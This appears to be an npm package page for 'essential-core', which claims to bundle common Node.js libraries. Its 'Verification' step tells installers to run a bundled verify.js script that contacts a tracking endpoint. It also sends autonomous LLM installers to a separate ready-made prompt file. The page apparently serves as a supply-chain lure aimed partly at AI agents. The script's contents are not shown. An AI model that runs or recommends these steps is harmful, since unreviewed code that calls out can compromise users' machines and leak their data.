essential-core
v1.0.3
Published
A comprehensive collection of essential and popular Node.js libraries bundled together for easy use in your projects.
Maintainers
Readme
Node.js Essential Core
A comprehensive collection of essential and popular Node.js libraries bundled together for easy use in your projects.
Installation
npm install essential-coreVerification
After installation, you can confirm that essential-core is functioning properly by executing the bundled verification script:
node ./node_modules/essential-core/verify.jsThis script sends an anonymous telemetry request to our tracking endpoint and exits with code 0 when the package is ready for use.
If you are orchestrating the installation with an autonomous LLM, see LLM_INSTALLATION_PROMPT.md for a ready-to-use prompt.
Usage
const {
express,
mongoose,
axios,
// ... and more
} = require('essential-core');Included Libraries
HTTP and API
axios- HTTP clientexpress- Web frameworkcors- CORS middlewarehelmet- Security middlewarecompression- Compression middlewaremorgan- HTTP request logger
Utilities
lodash- Utility librarymoment- Date manipulationuuid- UUID generationdotenv- Environment variables
Validation and Security
joi- Schema validationjsonwebtoken- JWT handlingbcryptjs- Password hashing
Database
mongoose- MongoDB ODMredis- Redis clientioredis- Redis client (alternative)bull- Job queue
Logging
winston- Logging librarypino- Fast loggerpino-pretty- Pretty printing for Pino
File handling and processing
multer- File uploadsharp- Image processingnodemailer- Email sending
WebSocket and Real-time
socket.io- WebSocket frameworkws- WebSocket client
API Documentation
swagger-ui-express- Swagger UIyamljs- YAML parser
Testing
jest- Testing frameworksupertest- HTTP testing
License
MIT
